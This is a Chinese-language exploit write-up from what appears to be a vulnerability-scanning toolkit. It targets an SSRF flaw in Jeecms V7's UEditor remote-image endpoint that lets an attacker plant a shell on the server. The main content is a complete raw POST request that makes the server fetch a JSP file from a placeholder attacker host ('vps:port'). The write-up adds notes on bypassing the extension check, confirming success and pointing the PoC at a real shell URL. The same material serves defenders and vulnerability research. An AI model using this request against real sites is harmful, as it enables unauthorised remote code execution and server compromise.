Files
Meppo/Moudle/Jeecms/Jeecms_ssrf_getshell.md
2022-03-22 18:03:05 +08:00

2.2 KiB
Raw Blame History

1、漏洞描述

jeecms V7版本的一个上传组件存在远程拉取图片的功能并将远程拉取的文件保存在服务器上。但程序没有对远程文件的类型做好过滤导致可从远程拉取任意格式的文件可直接getshell。

V9版本做了修复会对远程获取的文件后缀进行校验并对上传的文件强行重命名。

2、漏洞复现

直接上POST包:

data数据中远程文件的后缀写为.jsp?.jpg是尝试绕过虽然这样能上传上去但是因强行文件重命名传上去的也是一个图片。可直接尝试不带?.jpg去检查和利用。

POST /ueditor/getRemoteImage.jspx HTTP/1.1
Host: 127.0.0.1
Content-Length: 453
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="93", " Not;A Brand";v="99", "Chromium";v="93"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZUxAA9jVG2OHOQYo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryZUxAA9jVG2OHOQYo
Content-Disposition: form-data; name="upfile"

http://vps:port/test1.jsp?.jpg
------WebKitFormBoundaryZUxAA9jVG2OHOQYo
Content-Disposition: form-data; name="mark"


------WebKitFormBoundaryZUxAA9jVG2OHOQYo
Content-Disposition: form-data; name="uploadfile"; filename="test1.jsp.jpg"
Content-Type: application/octet-stream

<%out.println("123");%>
------WebKitFormBoundaryZUxAA9jVG2OHOQYo--

网站返回json格式的包含 远程图片抓取成功 以及url地址则证明存在漏洞

3、poc

因SSRF漏洞利用需要从远端获取信息若要getshell需要远端存在shell文件所以poc需要修改poc_content方法中content参数里的url地址。

脚本中有个坑post内容里的回车换行这里用的\r\n表示的直接回车换行请求会出问题导致poc验证失败。